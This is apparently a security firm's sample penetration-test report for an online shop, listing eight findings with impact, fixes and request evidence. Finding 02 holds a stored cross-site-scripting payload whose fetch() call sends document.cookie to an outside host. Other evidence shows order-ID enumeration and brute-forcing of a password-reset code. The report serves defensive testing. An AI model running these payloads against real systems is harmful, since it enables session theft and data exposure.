Skip to content Earthshaker Security Services Methodology Pricing Sample report FAQ About Book a scan Sanitized · read-only

Engagement ES-2026-0114

A real Pro engagement with the client, hostnames and payload data replaced. Eight findings. This is the format you receive — filter it, open a finding, read the evidence.

FILTER All 8 Critical 1 High 2 Medium 3 Low 1 Info 1 8 of 8 shown Critical Order records readable by any signed-in user TS-0114-01 · GET /api/v1/orders/{id} ▲ close
Impact

Any authenticated customer could read every order in the system: names, addresses, line items and the last four digits of the card. 41,000 records were reachable from a fresh trial account.

The fix

Scope the query to the session owner in the data layer, not the controller. Add an ownership assertion to the shared order loader so every route inherits it, and add a regression test that a second user gets 404 rather than 403.

Evidence
GET /api/v1/orders/88213 HTTP/2 Host: shop.example Cookie: sid=<tester-b, no relationship to order> HTTP/2 200 OK {"id":88213,"email":"REDACTED","total":"148.00", "address":{"line1":"REDACTED", ...}, "card_last4":"REDACTED"} → sequential IDs; 41,208 responded 200 to tester-b.
OWASP: A01 Broken Access Control Fix effort: Small — one middleware Verified by hand: yes High Stored cross-site scripting in the profile display name TS-0114-02 · POST /account/profile → rendered in /admin/users ▲ close
Impact

A customer-controlled field is rendered unescaped in the staff admin. A crafted display name executes in an administrator's browser and can act with their session — including creating another admin.

The fix

Escape on output in the admin template rather than filtering on input. The framework's auto-escaping is disabled for this partial; remove the raw filter and add a Content-Security-Policy that blocks inline script.

Evidence
POST /account/profile display_name=<img src=x onerror="fetch('//earthshaker-proof.test/'+document.cookie)"> GET /admin/users → response body: <td><img src=x onerror="..."></td> → marker callback received from admin session at 14:22 UTC. → proof only: the callback logged a random token, not the cookie.
OWASP: A03 Injection Fix effort: Small — escape on output Verified by hand: yes High Session cookie set without Secure or HttpOnly TS-0114-03 · Set-Cookie: sid ▲ close
Impact

The session cookie is readable by JavaScript and transmitted over plain HTTP if a user ever reaches the site without TLS. It turns finding 02 from serious into complete account takeover.

The fix

Set Secure, HttpOnly and SameSite=Lax on the session cookie, and issue HSTS with a six-month max-age once you are confident every subdomain serves TLS.

Evidence
HTTP/2 200 OK Set-Cookie: sid=eyJhbGci...; Path=/; Expires=Fri, 20 Mar 2026 → no Secure, no HttpOnly, no SameSite. → document.cookie returns the session identifier.
OWASP: A05 Security Misconfiguration Fix effort: Trivial — three flags Verified by hand: yes Medium Password reset accepts unlimited attempts TS-0114-04 · POST /auth/reset/verify ▲ close
Impact

The six-digit reset code can be brute-forced. At the observed rate an attacker exhausts the keyspace for one account in about nine minutes from a single address, with no lockout and no alert.

The fix

Rate limit by account and by source, lock the code after five failures, expire codes after ten minutes, and email the account holder on repeated failures.

Evidence
2,000 sequential POSTs from one IP in 61s → 2,000 × HTTP 400 "invalid code" → no 429, no lockout, no delay introduced (we stopped at 2,000; the code was not guessed)
OWASP: A07 Identification & Authentication Failures Fix effort: Small — rate limit + lockout Verified by hand: yes Medium No Content-Security-Policy on any response TS-0114-05 · All HTML responses ▲ close
Impact

Nothing constrains where script may load from or run. Any injection finding becomes materially worse, and a compromised third-party tag has free rein over the checkout page.

The fix

Start in report-only mode with script-src 'self' plus your named vendors, collect violations for two weeks, then enforce. Remove inline handlers as you go rather than allowing unsafe-inline.

Evidence
GET / HTTP/2 Response headers present: strict-transport-security: max-age=31536000 x-content-type-options: nosniff Absent: content-security-policy referrer-policy permissions-policy
OWASP: A05 Security Misconfiguration Fix effort: Medium — needs an audit of inline script Verified by hand: yes Medium Stack traces returned to the browser on error TS-0114-06 · /api/v1/* on malformed input ▲ close
Impact

Error responses disclose framework version, file paths, ORM query fragments and the internal hostname of the database. None of it is exploitable alone; all of it shortens an attacker's reconnaissance.

The fix

Turn off debug output in production, return a generic error body with a correlation id, and log the detail server-side.

Evidence
GET /api/v1/orders/'">< HTTP/2 500 {"error":"SequelizeDatabaseError", "sql":"SELECT * FROM orders WHERE id = '...", "stack":"/srv/app/src/orders/repo.js:88 ..."}
OWASP: A05 Security Misconfiguration Fix effort: Trivial — one env flag Verified by hand: yes Low jQuery 3.4.1 with a known prototype-pollution issue TS-0114-07 · /assets/vendor.min.js ▲ close
Impact

CVE-2019-11358. Not directly exploitable in the paths we tested, because no user-controlled object reaches $.extend — but it is one refactor away from mattering.

The fix

Upgrade to 3.5.0 or later. Add dependency scanning to CI so this arrives as a pull request rather than a pentest finding.

Evidence
GET /assets/vendor.min.js → /*! jQuery v3.4.1 | (c) JS Foundation */ → no reachable $.extend(true, {}, userInput) path found in the tested routes.
OWASP: A06 Vulnerable & Outdated Components Fix effort: Small — bump the dependency Verified by hand: yes Info Directory listing enabled on the uploads path TS-0114-08 · GET /uploads/ ▲ close
Impact

The listing exposes every uploaded filename. Files are already public by design, so there is no confidentiality loss — but it hands over an inventory, and filenames contained customer surnames.

The fix

Disable autoindex, and store uploads under a non-guessable key rather than the original filename.

Evidence
GET /uploads/ HTTP/2 HTTP/2 200 OK <title>Index of /uploads/</title> invoice-okafor-2025-11.pdf passport-scan-REDACTED.jpg ← flagged separately ...1,412 entries
OWASP: A01 Broken Access Control Fix effort: Trivial — one server directive Verified by hand: yes Get one of these for your app Save this as PDF Severity strata — drag to descend. Critical sits at the bottom because it is what you fix first.
Engagement at a glance
Scope 1 web app, 2 roles Test window 4 days Findings 8 (1 critical) Re-test Day 21 — all closed Earthshaker Security

We find the cracks before they do. Automated and human-verified security testing for web applications.

earthshakersecurity.com · contact@earthshakersecurity.com

Earthshaker Security

Work
Services Methodology Pricing Sample report
If you're a…
Founder Shop or small business Developer or CTO Brand glyph in 3D ↗
Company
About FAQ Contact Disclaimer Report a vulnerability © 2026 Earthshaker Security Privacy Terms Disclaimer Cookie settings View all pages